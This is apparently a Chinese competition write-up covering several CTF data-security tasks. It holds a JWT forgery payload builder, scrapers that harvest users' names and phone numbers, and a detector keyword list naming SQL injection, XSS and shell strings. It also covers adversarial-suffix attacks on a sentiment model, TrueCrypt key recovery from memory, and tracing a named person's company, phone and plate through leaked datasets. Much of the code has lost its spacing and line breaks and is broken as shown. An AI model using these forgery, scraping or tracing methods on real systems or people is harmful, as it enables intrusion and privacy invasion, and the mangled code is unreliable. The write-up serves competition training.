# print(dumps(parsed_payload, separators=(',', ':')))
fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))
print(fake_payload)
return '{" ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"} '
运行获得敏感信息
答案:
14573688064
针对在线团购平台提供的原始用户评论数据,爬取用户评论数据,进行情感标注(正面/负面),并基于用户ID、用户名、手机号生成MD5签名以校验完整性。按附件模板和任务书要求提交处理后的submit_1.csv文件进行评分。
数据整合:
import requests
from bs4 import BeautifulSoup
import tqdmurl_base = 'http://47.117.41.252:33440/index.php?controller=product&action=detail&id='
for idx in tqdm.tqdm(range(1, 501)):
url = url_base + str(idx)
response = requests.get(url=url)soup = BeautifulSoup(response.text, 'html.parser')
reviews_data = []
for review in soup.find_all('div', class_='review-item'):
user_id_tag = review.find('span', class_='user-id')
user_id = user_id_tag.text.split(':')[-1].strip() if user_id_tag elseNoneusername_tag = review.find('span', class_='reviewer-name')
username = username_tag.text.split(':')[-1].strip() if username_tag elseNonephone_tag = review.find('span', class_='reviewer-phone')
phone = phone_tag.text.split(':')[-1].strip() if phone_tag elseNonecontent_tag = review.find('div', class_='review-content')
content = content_tag.text.strip() if content_tag elseNonereviews_data.append({
'user_id': user_id,
'username': username,
'phone': phone,
'content': content
})for item in reviews_data:
with open('data.txt', 'a') as f:
f.write(f"{item['user_id']}\n")
f.write(f"{item['username']}\n")
f.write(f"{item['phone']}\n")
f.write(f"{item['content']}\n")
f.write("-" * 30 + "\n")import hashlib
import csv
from snownlp import SnowNLPdef md5value(key):
input_name = hashlib.md5()
input_name.update(key.encode())
return input_name.hexdigest().lower()def analyze_sentiment(text):
s = SnowNLP(text)
sentiment_score = s.sentimentsif sentiment_score > 0.5:
return1
else:
return0data_list = []
with open('data.txt', 'r', encoding='utf-8') as f:
data = f.read()
data_list = data.split("-" * 30)data_list = data_list[:-1]
personal_data = []
for data in data_list:
lines = data.split('\n')[1:-1]if len(lines) >= 4:
user_id = lines[0].split(":")[-1].strip()
username = lines[1].split(":")[-1].strip()
phone = lines[2].split(":")[-1].strip()
content = lines[3].split(":")[-1].strip()
personal_data.append([user_id, username, phone, content])
else:
print(f"Skipping incomplete data entry: {data}")data_sorted = sorted(personal_data, key=lambda x: x[0])
result = []
for data in data_sorted:
user_id, username, phone, content = data
sig = str(user_id) + username + phone
sig = md5value(sig)
print(f"Processing user {user_id}: {username}, {sig}")
label = analyze_sentiment(content)
result.append([user_id, label, sig])with open('submit_1.csv', 'w', newline='') as file:
writer = csv.writer(file)
writer.writerow(['user_id', 'label', 'signature'])
writer.writerows(result)
针对在线团购平台提供的商品数据,您需要爬取后进行数据清洗(处理异常销量)和特征工程(提取分类编号、统计评论数),按附件模板和任务书要求提交处理后的submit_2.csv文件进行评分。
商品数据+统计评论数
import requests
from bs4 import BeautifulSoupproducts = []
for product_id in range(1, 501):
try:
url = f'http://47.117.41.252:33440/index.php?controller=product&action=detail&id={product_id}'
response = requests.get(url, timeout=5)
soup = BeautifulSoup(response.text, 'html.parser')name = soup.find('h2').text.strip()
price = soup.find('span', id='productPrice').text.strip('¥').replace(',', '')
raw_sales = soup.find('span', id='productSales').textsales_digits = ''.join(c for c in raw_sales if c.isdigit() or c == '-')
sales_number = int(sales_digits) if sales_digits else0
cleaned_sales = max(sales_number, 0)
sales = str(cleaned_sales)reviews = len(soup.find_all('div', class_='review-item'))
products.append({
'id': product_id,
'name': name,
'price': price,
'sales': sales,
'reviews': reviews
})print(f"[成功] ID:{product_id} 名称:{name[:20]} 价格:{price} 销量:{sales} 评论:{reviews}")
except Exception as e:
print(f"[失败] ID:{product_id} 错误:{str(e)}")
continuewith open('data.txt', 'w', encoding='utf-8') as f:
for p in products:
f.write(f"商品ID: {p['id']}\n")
f.write(f"商品名称: {p['name']}\n")
f.write(f"商品价格: {p['price']}元\n")
f.write(f"月销量: {p['sales']}件\n")
f.write(f"用户评价数: {p['reviews']}条\n")
f.write("-" * 60 + "\n")
提取分类编号
1 手机
2 ⺟婴用品
3 家居
4 书籍
5 蔬菜
6 厨房用具
7 办公
8 水果
9 宠物
10 运动
11 热水器
12 彩妆
13 保健品
14 酒水
15 玩具乐器
16 汽车
17 床上用品
18 洗护用品
19 五金
20 戶外
21 珠宝
22 医疗器械
23 花卉园艺
24 游戏
25 园艺
扔给ai分类了
结果:
[product_id, category_id]
[1, 11]
[2, 18]
[3, 1]
[4, 11]
[5, 8]
[6, 1]
[7, 4]
[8, 8]
[9, 4]
[10, 4]
[11, 18]
[12, 4]
[13, 11]
[14, 8]
[15, 8]
[16, 4]
[17, 8]
[18, 11]
[19, 18]
[20, 18]
[21, 11]
[22, 4]
[23, 18]
[24, 8]
[25, 4]
[26, 18]
[27, 8]
[28, 8]
[29, 8]
[30, 8]
[31, 1]
[32, 8]
[33, 4]
[34, 1]
[35, 8]
[36, 18]
[37, 8]
[38, 4]
[39, 11]
[40, 4]
[41, 18]
[42, 11]
[43, 8]
[44, 4]
[45, 1]
[46, 8]
[47, 18]
[48, 8]
[49, 4]
[50, 1]
[51, 4]
[52, 18]
[53, 11]
[54, 4]
[55, 4]
[56, 11]
[57, 8]
[58, 18]
[59, 18]
[60, 18]
[61, 11]
[62, 11]
[63, 11]
[64, 18]
[65, 1]
[66, 4]
[67, 8]
[68, 8]
[69, 1]
[70, 4]
[71, 1]
[72, 8]
[73, 1]
[74, 11]
[75, 1]
[76, 1]
[77, 8]
[78, 8]
[79, 11]
[80, 8]
[81, 4]
[82, 1]
[83, 18]
[84, 18]
[85, 8]
[86, 4]
[87, 4]
[88, 18]
[89, 18]
[90, 4]
[91, 8]
[92, 4]
[93, 1]
[94, 11]
[95, 18]
[96, 18]
[97, 18]
[98, 18]
[99, 4]
[100, 8]
[101, 11]
[102, 11]
[103, 4]
[104, 4]
[105, 18]
[106, 4]
[107, 8]
[108, 18]
[109, 8]
[110, 1]
[111, 4]
[112, 1]
[113, 4]
[114, 11]
[115, 4]
[116, 11]
[117, 1]
[118, 11]
[119, 11]
[120, 11]
[121, 11]
[122, 11]
[123, 4]
[124, 1]
[125, 1]
[126, 8]
[127, 4]
[128, 18]
[129, 1]
[130, 1]
[131, 4]
[132, 18]
[133, 1]
[134, 1]
[135, 18]
[136, 18]
[137, 18]
[138, 8]
[139, 8]
[140, 4]
[141, 4]
[142, 11]
[143, 4]
[144, 1]
[145, 8]
[146, 4]
[147, 1]
[148, 1]
[149, 1]
[150, 11]
[151, 1]
[152, 11]
[153, 4]
[154, 1]
[155, 18]
[156, 8]
[157, 4]
[158, 18]
[159, 1]
[160, 11]
[161, 18]
[162, 11]
[163, 1]
[164, 8]
[165, 11]
[166, 4]
[167, 4]
[168, 18]
[169, 8]
[170, 4]
[171, 11]
[172, 18]
[173, 18]
[174, 4]
[175, 1]
[176, 1]
[177, 18]
[178, 8]
[179, 1]
[180, 8]
[181, 4]
[182, 4]
[183, 11]
[184, 4]
[185, 11]
[186, 1]
[187, 4]
[188, 8]
[189, 8]
[190, 18]
[191, 8]
[192, 1]
[193, 4]
[194, 11]
[195, 4]
[196, 1]
[197, 11]
[198, 1]
[199, 8]
[200, 4]
[201, 4]
[202, 18]
[203, 1]
[204, 1]
[205, 8]
[206, 8]
[207, 8]
[208, 8]
[209, 18]
[210, 1]
[211, 11]
[212, 4]
[213, 8]
[214, 11]
[215, 18]
[216, 18]
[217, 11]
[218, 11]
[219, 4]
[220, 4]
[221, 8]
[222, 1]
[223, 8]
[224, 18]
[225, 11]
[226, 8]
[227, 11]
[228, 1]
[229, 1]
[230, 18]
[231, 11]
[232, 8]
[233, 4]
[234, 8]
[235, 4]
[236, 4]
[237, 11]
[238, 1]
[239, 11]
[240, 1]
[241, 18]
[242, 11]
[243, 1]
[244, 4]
[245, 18]
[246, 18]
[247, 18]
[248, 8]
[249, 1]
[250, 4]
[251, 1]
[252, 4]
[253, 1]
[254, 8]
[255, 8]
[256, 8]
[257, 18]
[258, 11]
[259, 8]
[260, 18]
[261, 18]
[262, 18]
[263, 18]
[264, 18]
[265, 11]
[266, 8]
[267, 4]
[268, 1]
[269, 18]
[270, 11]
[271, 11]
[272, 11]
[273, 18]
[274, 18]
[275, 4]
[276, 11]
[277, 8]
[278, 18]
[279, 11]
[280, 4]
[281, 18]
[282, 11]
[283, 11]
[284, 18]
[285, 4]
[286, 4]
[287, 8]
[288, 8]
[289, 4]
[290, 1]
[291, 4]
[292, 11]
[293, 18]
[294, 1]
[295, 1]
[296, 18]
[297, 11]
[298, 18]
[299, 11]
[300, 4]
[301, 1]
[302, 11]
[303, 11]
[304, 18]
[305, 18]
[306, 8]
[307, 11]
[308, 11]
[309, 1]
[310, 8]
[311, 1]
[312, 8]
[313, 4]
[314, 8]
[315, 18]
[316, 18]
[317, 1]
[318, 18]
[319, 11]
[320, 8]
[321, 1]
[322, 18]
[323, 8]
[324, 11]
[325, 8]
[326, 8]
[327, 1]
[328, 18]
[329, 1]
[330, 11]
[331, 18]
[332, 18]
[333, 4]
[334, 1]
[335, 1]
[336, 1]
[337, 8]
[338, 8]
[339, 4]
[340, 1]
[341, 1]
[342, 8]
[343, 18]
[344, 8]
[345, 1]
[346, 18]
[347, 8]
[348, 8]
[349, 1]
[350, 4]
[351, 8]
[352, 18]
[353, 11]
[354, 4]
[355, 1]
[356, 11]
[357, 4]
[358, 8]
[359, 18]
[360, 8]
[361, 4]
[362, 4]
[363, 18]
[364, 4]
[365, 1]
[366, 8]
[367, 11]
[368, 4]
[369, 8]
[370, 1]
[371, 1]
[372, 11]
[373, 1]
[374, 18]
[375, 8]
[376, 4]
[377, 1]
[378, 18]
[379, 11]
[380, 4]
[381, 4]
[382, 4]
[383, 1]
[384, 1]
[385, 18]
[386, 11]
[387, 11]
[388, 11]
[389, 18]
[390, 11]
[391, 8]
[392, 8]
[393, 4]
[394, 11]
[395, 11]
[396, 18]
[397, 1]
[398, 8]
[399, 1]
[400, 1]
[401, 18]
[402, 4]
[403, 8]
[404, 18]
[405, 8]
[406, 8]
[407, 8]
[408, 11]
[409, 11]
[410, 4]
[411, 4]
[412, 1]
[413, 11]
[414, 11]
[415, 18]
[416, 11]
[417, 4]
[418, 4]
[419, 4]
[420, 11]
[421, 1]
[422, 8]
[423, 1]
[424, 4]
[425, 18]
[426, 11]
[427, 11]
[428, 18]
[429, 1]
[430, 1]
[431, 18]
[432, 4]
[433, 4]
[434, 1]
[435, 11]
[436, 11]
[437, 8]
[438, 1]
[439, 1]
[440, 11]
[441, 11]
[442, 11]
[443, 18]
[444, 11]
[445, 11]
[446, 4]
[447, 4]
[448, 8]
[449, 8]
[450, 11]
[451, 11]
[452, 8]
[453, 18]
[454, 1]
[455, 1]
[456, 18]
[457, 8]
[458, 1]
[459, 4]
[460, 18]
[461, 1]
[462, 18]
[463, 11]
[464, 1]
[465, 1]
[466, 4]
[467, 1]
[468, 18]
[469, 4]
[470, 1]
[471, 8]
[472, 4]
[473, 4]
[474, 8]
[475, 18]
[476, 11]
[477, 18]
[478, 18]
[479, 4]
[480, 18]
[481, 11]
[482, 1]
[483, 1]
[484, 8]
[485, 8]
[486, 11]
[487, 11]
[488, 1]
[489, 18]
[490, 11]
[491, 1]
[492, 11]
[493, 8]
[494, 8]
[495, 1]
[496, 8]
[497, 11]
[498, 4]
[499, 18]
[500, 18]
import csv
import redef txt_to_csv(input_file, output_file, category_file):
category_map = {}
with open(category_file, 'r', encoding='utf-8') as cf:
for line in cf:
ids = re.findall(r'\d+', line)
if len(ids) >= 2:
product_id = int(ids[0])
category_id = int(ids[1])
category_map[product_id] = category_idpatterns = {
'product_id': re.compile(r'商品ID:\s*(\d+)'),
'sales': re.compile(r'月销量:\s*([\d,]+)件'),
'reviews': re.compile(r'用户评价数:\s*(\d+)条')
}results = []
with open(input_file, 'r', encoding='utf-8') as f:
blocks = f.read().split('-' * 60)
for block in blocks:
data = {}
for line in block.split('\n'):
line = line.strip()
ifnot line:
continueif'product_id'notin data:
match = patterns['product_id'].search(line)
if match:
data['product_id'] = int(match.group(1))if'sales'notin data:
match = patterns['sales'].search(line)
if match:
data['sales'] = int(match.group(1).replace(',', ''))if'reviews_number'notin data:
match = patterns['reviews'].search(line)
if match:
data['reviews_number'] = int(match.group(1))required_fields = ['product_id', 'sales', 'reviews_number']
if all(field in data for field in required_fields):
data['category_id'] = category_map.get(data['product_id'], 0)
results.append(data)
else:
print(f"数据不完整,跳过区块: {data.get('product_id', '未知ID')}")with open(output_file, 'w', newline='', encoding='utf-8-sig') as f:
writer = csv.DictWriter(f, fieldnames=['product_id', 'sales', 'category_id', 'reviews_number'])
writer.writeheader()
writer.writerows(results)
print(f"成功写入{len(results)}条数据,包含分类信息")if __name__ == "__main__":
txt_to_csv('data.txt', 'output.csv', '1.txt')
或者
import requests
from bs4 import BeautifulSoup
import csv
import re
import time
import random# 基础URL
BASE_URL = "http://47.117.190.214:32920"# 分类关键词映射
category_keywords = {
1: ["手机", "phone", "华为", "iphone", "xiaomi", "苹果", "三星", "oppo", "vivo", "智能机", "联想", "nokia", "戴尔", "lenovo"],
2: ["母婴", "奶瓶", "尿布", "婴儿", "宝宝", "玩具", "奶粉", "童装", "儿童"],
3: ["家居", "家具", "沙发", "床", "桌子", "椅子", "茶几", "柜子", "装饰"],
4: ["书籍", "小说", "文学", "教材", "杂志", "图书", "书", "作者", "阅读"],
5: ["蔬菜", "西红柿", "黄瓜", "胡萝卜", "白菜", "花菜", "韭菜", "青菜", "菠菜"],
6: ["厨房用具", "锅", "碗", "筷子", "刀", "砧板", "铲", "勺"],
7: ["办公", "打印机", "复印机", "笔", "纸", "文件夹", "办公室"],
8: ["水果", "苹果", "香蕉", "梨", "橙子", "草莓", "芒果", "葡萄", "樱桃", "桃"],
9: ["宠物", "猫", "狗", "鱼", "宠物", "饲料", "猫粮", "狗粮", "宠物用品"],
10: ["运动", "健身", "足球", "篮球", "网球", "跑步", "游泳", "体育"],
11: ["热水器", "恒温", "速热", "防干烧", "卫生间", "洗浴"],
12: ["彩妆", "口红", "粉底", "眼影", "眼线", "化妆", "美妆", "腮红"],
13: ["保健品", "维生素", "蛋白粉", "营养", "保健", "补充剂"],
14: ["酒水", "啤酒", "红酒", "白酒", "葡萄酒", "威士忌", "伏特加"],
15: ["玩具乐器", "玩具", "琴", "吉他", "钢琴", "电子琴", "鼓", "乐器"],
16: ["汽车", "车", "轮胎", "方向盘", "座椅", "汽油", "柴油"],
17: ["床上用品", "床单", "被子", "枕头", "床垫", "床笠", "被套", "枕套"],
18: ["洗护用品", "洗发水", "沐浴露", "洗面奶", "护肤品", "防晒", "洁面", "面膜", "护发素", "洗发"],
19: ["五金", "工具", "螺丝", "螺母", "扳手", "锤子"],
20: ["户外", "露营", "帐篷", "睡袋", "登山", "徒步", "旅行"],
21: ["珠宝", "项链", "戒指", "手镯", "耳环", "金", "银", "玉"],
22: ["医疗器械", "血压计", "体温计", "血糖仪", "听诊器", "轮椅"],
23: ["花卉园艺", "花", "植物", "盆栽", "花盆", "园艺", "种子", "花卉"],
24: ["游戏", "电子游戏", "游戏机", "游戏手柄", "游戏光碟"],
25: ["园艺", "园艺工具", "花园", "种植", "培育", "修剪", "盆栽"]
}# 判断商品分类的函数
defget_category_id(product_name):
product_name = product_name.lower()
scores = {cat_id: 0for cat_id inrange(1, 26)}# 为每个分类计算匹配分数
for cat_id, keywords in category_keywords.items():
for keyword in keywords:
if keyword.lower() in product_name:
scores[cat_id] += 1# 特殊规则处理
if"热水器"in product_name:
return11
if"洗发"in product_name or"护发"in product_name:
return18
if"水果"in product_name or"草莓"in product_name or"香蕉"in product_name:
return8
if"书"in product_name andlen(product_name) > 10:
return4
if"phone"in product_name.lower() or"手机"in product_name:
return1# 返回得分最高的分类
max_score = max(scores.values())
if max_score > 0:
for cat_id, score in scores.items():
if score == max_score:
return cat_id# 如果没有明确匹配,尝试一些启发式规则
if"手机"in product_name or"phone"in product_name.lower():
return1
elif"婴"in product_name or"童"in product_name:
return2
elif"书"in product_name or"文学"in product_name:
return4
elif"蔬菜"in product_name:
return5
elif"水果"in product_name:
return8
elif"热水器"in product_name:
return11
elif"彩妆"in product_name or"化妆"in product_name:
return12# 默认分类(应该很少用到)
return product_name# 获取商品列表页
defget_product_list():
products = []
page = 1
max_pages = 84# 根据页面.html中的分页信息确定while page <= max_pages:
url = f"{BASE_URL}/index.php?controller=home&action=index&page={page}"
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')# 提取商品信息
product_cards = soup.select('.product-card')
ifnot product_cards:
breakfor card in product_cards:
product_id = card.get('data-id')
ifnot product_id:
product_id = card.select_one('.product-id').text.strip().replace('商品ID: ', '')product_name = card.select_one('.product-name').text.strip()
# 提取销量
sales_text = card.select_one('.product-sales').text.strip().replace('月销量: ', '').replace('件', '')
try:
sales = int(sales_text)
if sales < 0: # 处理负数销量
sales = 0
except (ValueError, TypeError):
sales = 0# 处理无法转换为整数的情况# 确定分类ID
category_id = get_category_id(product_name)products.append({
'product_id': int(product_id),
'product_name': product_name,
'sales': sales,
'category_id': category_id,
'reviews_number': 0# 默认为0,之后会更新
})print(f"已处理第 {page} 页,获取 {len(product_cards)} 个商品")
page += 1
# 添加延迟,避免请求过于频繁except Exception as e:
print(f"获取第 {page} 页时出错: {e}")
# 如果出错,尝试再次请求
continue# 按商品ID排序
products.sort(key=lambda x: int(x['product_id']))
return products# 获取评论数量
defget_reviews_count(product_id):
url = f"{BASE_URL}/index.php?controller=product&action=detail&id={product_id}"
try:
response = requests.get(url)
soup = BeautifulSoup(response.text, 'html.parser')# 查找评论项
review_items = soup.select('.review-item')
returnlen(review_items)
except Exception as e:
print(f"获取商品 {product_id} 评论数时出错: {e}")
return0# 主函数
defmain():
print("开始爬取商品数据...")
products = get_product_list()print(f"共获取 {len(products)} 个商品信息")
print("开始获取评论数量...")# 获取评论数量
total_reviews = 0
products_with_reviews = 0for i, product inenumerate(products):
reviews_count = get_reviews_count(product['product_id'])
products[i]['reviews_number'] = reviews_count# 累计评论数据
total_reviews += reviews_count
if reviews_count > 0:
products_with_reviews += 1if (i+1) % 10 == 0:
print(f"已处理 {i+1}/{len(products)} 个商品的评论数")
# 添加延迟,避免请求过于频繁# 输出评论统计信息
print(f"\n===== 评论统计 =====")
print(f"总评论数: {total_reviews}")
print(f"有评论的商品数: {products_with_reviews}")
print(f"平均每个商品的评论数: {total_reviews / len(products):.2f}")# 确保所有商品ID从1到500,如果缺失则补充
product_ids = set(p['product_id'] for p in products)
for pid inrange(1, 501):
if pid notin product_ids:
products.append({
'product_id': pid,
'product_name': '',
'sales': 0,
'category_id': 0, # 默认分类
'reviews_number': 0
})# 再次排序,确保按商品ID升序
products.sort(key=lambda x: int(x['product_id']))# 将数据写入CSV文件
withopen('submit_222.csv', 'w', encoding='utf-8', newline='') as csvfile:
fieldnames = ['product_id', 'sales', 'category_id', 'reviews_number']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()for product in products:
writer.writerow({
'product_id': product['product_id'],
'sales': product['sales'],
'category_id': product['category_id'],
'reviews_number': product['reviews_number']
})print("数据已成功写入submit_2.csv文件")
if __name__ == "__main__":
main()
import hashlibimport pandas as pd
import requests
import re
from bs4 import BeautifulSoup
from tqdm import tqdm
# 配置参数
BASE_URL = "http://47.117.190.214:32906/index.php"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}
def extract_value(text):
"""提取值,适用于格式 '前缀:值'"""
return text.split(":", 1)[-1].strip() if ":" in text else text.strip()
def parse_comments(html):
"""解析评论数据"""
soup = BeautifulSoup(html, 'html.parser')
reviews_container = soup.find('div', class_='reviews-container')
if not reviews_container:
return []
comments = []
for item in reviews_container.find_all('div', class_='review-item'):
try:
user_id = re.search(r'\d+', item.find('span', class_='user-id').text).group()
username = extract_value(item.find('span', class_='reviewer-name').text)
phone = extract_value(item.find('span', class_='reviewer-phone').text)
comment = item.find('div', class_='review-content').text.strip()
user_agent = extract_value(item.find('span', class_='user-agent').text)
comments.append((user_id, username, phone, comment, user_agent))
except AttributeError:
continue
return comments
def desensitize_phone(phone):
"""脱敏手机号"""
return phone[:3] + '****' + phone[-4:]
def detect_malicious_code(user_agent):
"""恶意代码检测:SQL注入/XSS/命令执行等"""
malicious_keywords = ['union', 'select', 'drop', 'or 1=1', 'alert(', '<script>', 'cmd.exe', 'sh', 'system(']
if any(keyword in user_agent.lower() for keyword in malicious_keywords):
return False
return True
def main():
all_data = []
for product_id in tqdm(range(1, 501), desc="爬取进度"):
all_data.extend(fetch_product_comments(product_id))
if not all_data:
print("未获取到任何数据,请检查网络和页面结构")
return
# 脱敏处理与恶意代码检测
processed_data = []
for user_id, username, phone, comment, user_agent in all_data:
desensitized_phone = desensitize_phone(phone)
code_check = detect_malicious_code(user_agent)
processed_data.append([user_id, desensitized_phone, code_check])
# 保存处理后的数据
df = pd.DataFrame(processed_data, columns=['user_id', 'desensitization', 'code_check'])
df.sort_values('user_id').to_csv('submit_3.csv', index=False, encoding='utf-8')
print(f"成功生成文件,包含 {len(df)} 条记录")
def fetch_product_comments(product_id):
"""获取产品评论"""
params = {"controller": "product", "action": "detail", "id": product_id}
try:
response = requests.get(BASE_URL, params=params, headers=HEADERS, timeout=10)
response.raise_for_status()
return parse_comments(response.text)
except requests.RequestException:
return []
if __name__ == "__main__":
main()
分析预训练完成的服装评论情感分析模型⽂件,通过在原始评论后追加最少字符的扰动⽂本(对
抗样本),使得模型对修改后的评论情感预测结果发⽣翻转(正⾯变负⾯,或负⾯变正⾯),最⼤化
模型的预测错误率。
你的任务是根据提供的csv⽂件中的1000条原始⽂本数据,⽣成对应数量的对抗样本,每条对抗样
本在原始⽂本后添加≤5字符⽂本,使模型预测结果发⽣标签翻转(0→1或1→0),汇总并提交最佳对
抗样本submit.csv⾄平台验证,根据标签翻转率进⾏评分。
用了GCG去找对抗,效果还不错,代码部分时间不够了,理不清对应关系,写的比较冗杂
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.linear_model import LogisticRegression
import joblib
import numpy as npsentiment_model = joblib.load('sentiment_model.pkl')
tfidf_vectorizer = joblib.load('tfidf_vectorizer.pkl')file = open('data.csv',mode='r',encoding='utf-8')
flag = open('flag.csv',mode='w',encoding='utf-8')
datas = file.readlines()[1:]
flag.write('sample_id,adversarial_examples\n')
for i,data inenumerate(datas):
text = data.split(',')[1]
original_prediction = int(data.split(',')[-1])if original_prediction == 0:
vocab = tfidf_vectorizer.get_feature_names_out()
max_iterations = 50
suffix_tokens = []
current_text = textfor iteration inrange(max_iterations):
best_token = None
best_score = float('-inf')for token in np.random.choice(vocab, size=len(vocab)//4, replace=True):
candidate_text = current_text + " " + token
candidate_vector = tfidf_vectorizer.transform([candidate_text])
candidate_score = sentiment_model.predict_proba(candidate_vector)[0][1]
if candidate_score > best_score:
best_score = candidate_score
best_token = tokenif best_token:
suffix_tokens.append(" " + best_token)
current_text = current_text + " " + best_token# 检查是否成功反转
current_vector = tfidf_vectorizer.transform([current_text])
current_prediction = sentiment_model.predict(current_vector)[0]if current_prediction != original_prediction:
print(f"成功在第{iteration+1}次迭代后反转预测结果")
break
else:
print("无法找到合适的token来反转预测")
break# 输出结果
adversarial_text = current_text
print(f"添加后缀: {''.join(suffix_tokens)}")
print(f"对抗样本: {adversarial_text}")# 验证最终预测
final_vector = tfidf_vectorizer.transform([adversarial_text])
final_prediction = sentiment_model.predict(final_vector)
print(f"最终预测结果: {final_prediction[0]}")
print(f"原始预测结果: {original_prediction}")
print(f'-------------------{i}---------------------')
flag.write(f"{data.split(',')[0]},{''.join(suffix_tokens)}\n")if original_prediction == 1:
vocab = tfidf_vectorizer.get_feature_names_out()
max_iterations = 50
suffix_tokens = []
current_text = textfor iteration inrange(max_iterations):
best_token = None
best_score = float('inf') if original_prediction == 1elsefloat('-inf')for token in np.random.choice(vocab, size=len(vocab)//4, replace=False):
candidate_text = current_text + " " + token
candidate_vector = tfidf_vectorizer.transform([candidate_text])
candidate_score = sentiment_model.predict_proba(candidate_vector)[0][1]if (original_prediction == 1and candidate_score < best_score) or \
(original_prediction == 0and candidate_score > best_score):
best_score = candidate_score
best_token = tokenif best_token:
suffix_tokens.append(" " + best_token)
current_text = current_text + " " + best_token# 检查是否成功反转
current_vector = tfidf_vectorizer.transform([current_text])
current_prediction = sentiment_model.predict(current_vector)[0]if current_prediction != original_prediction:
print(f"成功在第{iteration+1}次迭代后反转预测结果")
break
else:
print("无法找到合适的token来反转预测")
break# 输出结果
adversarial_text = current_text
print(f"添加后缀: {''.join(suffix_tokens)}")
print(f"对抗样本: {adversarial_text}")# 验证最终预测
final_vector = tfidf_vectorizer.transform([adversarial_text])
final_prediction = sentiment_model.predict(final_vector)
print(f"最终预测结果: {final_prediction[0]}")
print(f"原始预测结果: {original_prediction}")
print(f'-------------------{i}---------------------')
flag.write(f"{data.split(',')[0]},{''.join(suffix_tokens)}\n")
因为最后时间比较急,才开始看到这道题,发现难度不是那么高,只需要修改样本即,但是目前给出来的这个只能得到十几分
import pandas as pd
import random
df = pd.read_csv('1000.csv')
texts = df['sample']
labels = df['answer']
sample_ids = df['sample_id']
def generate_adversarial_sample(text, original_label):
positive_perturbations = ['喜欢', '很好', '很棒', '非常好', '完美']
negative_perturbations = ['差劲', '糟糕', '不好', '很差', '令人失望']
if original_label == 1:
adversarial_text = random.choice(negative_perturbations)
elif original_label == 0:
adversarial_text = random.choice(positive_perturbations)
if len(adversarial_text) > len(text) + 5:
return''
return adversarial_text
adversarial_samples = []
for sample_id, text, label in zip(sample_ids, texts, labels):
adversarial_text = generate_adversarial_sample(text, label)
adversarial_samples.append({
'sample_id': sample_id,
'adversarial_examples': adversarial_text
})
adversarial_df = pd.DataFrame(adversarial_samples)
adversarial_df.to_csv('submit.csv', index=False)
print("对抗样本已生成并保存到 submit.csv")
赛后我们思考过程中发现实际本次的题使用传统的机器学习算法一系列的,实际上比我们直接调用大模型慢了很多,还有准确率也相对低了,在这种题的过程中,完全可以借助Cline+api的方式借助修改,因为本次给的样本数据量比较小,都在几百到几千,还是比赛期间思路没完全放开。
运维人员误删除了一个重要的word文件,请通过数据恢复手段恢复该文件,文件内容即为答案。
使用R-studio打开镜像,可找到已删除的分区与重要文件:
提取出文档后,可以发现隐藏的文本,更改格式即可获得flag:
服务器网站遭到了黑客攻击,但服务器的web日志文件被存放在了加密驱动器中,请解密获得该日志并将黑客ip作为答案提交。
删除的分区有一个内存镜像文件(内存.7z
)
以及一个加密的log
磁盘镜像文件,密钥未知。
使用 Volatility2 获取到 TrueCrypt 挂载的 Master Key;使用 MKDecrypt
进行挂载,可找到两个访问日志:
两个日志中均可找到黑客的IP:114.10.143.92
请选手根据附件中的《题目说明文档》的任务要求进行解题,分析获取张华强的公司名称作为答案提交。
用 fileseek 搜索选择爬取的网页,文本查询张华强,定位到 10.数据泄露与社会工程/附件/ 爬取的网页/43/8497.html
根据泄露的网页信息中搜索张华强找到其手机号码,并且找到其公司名称为:江苏博林科技有限公司
请选手根据附件中的《题目说明文档》的任务要求进行解题,分析获取张华强的手机号作为答案提交。
Navicat打开某滴泄露的行程数据,根据24年日历推断出哪天是周一到周五,筛选出姓张的
将一次周一至周五的数据导出成.xlsx格式
然后筛选电话号,看前面日期是否为2024/12/2 到2024/12/6都有记录,最后确定为1389377
再根据某停车场泄露的数据,找到手机号
请选手根据附件中的《题目说明文档》的任务要求进行解题,分析获取张华强的车牌号作为答案提交。
刚刚找到的某停车场泄露的数据中的图片有对应的车牌号
请分析流量审计设备导出的镜像流量数据,并对照国外敏感域名清单(以下简称“清单”),确认是否存在访问清单中IP地址的情况。同时,请分析所有向清单中IP地址发送流量包的行为,并统计次数最多的IP地址。
答案提交:请按照以下格式填写:域名:IP地址:访问次数。例如,若发送的目标IP地址为 1.1.1.1,对应的域名为 example.com,且总访问次数为 9999,则提交的答案应为:example.com:1.1.1.1:9999。
考虑将流量信息导出为 CSV 格式,便于之后批处理:
在 CSV 表格中:
Destination
值排序(升序降序均可)Destination
一栏的数据进行分类汇总Destination
降序排序(实测 CSV 直接操作效率较低,建议保存为 XLSX 后进一步处理)
在 JSON 文件中发现第二行的 IP 对应 chrome.com
,则答案为chrome.com:57.195.144.48:20498
。
技术人员在分析流量审计设备导出的镜像流量数据时,发现其中包含敏感文件的传输,并已上报此次数据泄漏事件。幸运的是,每个文件都带有文件水印,可以通过水印信息确定泄漏源的 ID 和时间。请分析导出的流量数据,提取文件的水印信息,并将水印字符串作为答案提交。
通过 WireShark 的“导出对象”功能查看各类文件,发现有若干文件通过 FTP 协议传输。
查看其中的具体流量,在文件末尾发现不可见 Unicode 字符。
因此推测所需的水印字符串即为文件尾这串 Unicode 字符(这些字符在其他文件中也均出现)。
请分析审计导出的流量文件,确认是否存在内部人员与外部人员之间的语音通话记录。鉴于信息泄露的风险,请提取并还原所有相关通话内容,并根据对话内容提交答案。本题的答案由小写的26个英文字母组成。
发现网络通话一般使用RTP协议传输语音数据,使用Wireshark的分析功能得到所有会话:
通过听取通话音频,发现上图所示的通话记录中有其他信息:
你会弹吉他吗?
会一点,不过不是很熟练。
那已经很厉害了。我一直想学吉他。
其实不难,只要多练习就好了。
欢迎参加本次数字中国的预赛。
你这话题变得好突兀。好吧?有没有什么内部消息?
给你的答案要不要?
必须要,快给个答案。
听好了,本题的答案就是江苏工匠学院君立华域的拼音。
本期答案就是江苏工匠学院君立华域的拼音。
对的。全部消息。
因此答案是jiangsugongjiangxueyuanjunlihuayu
。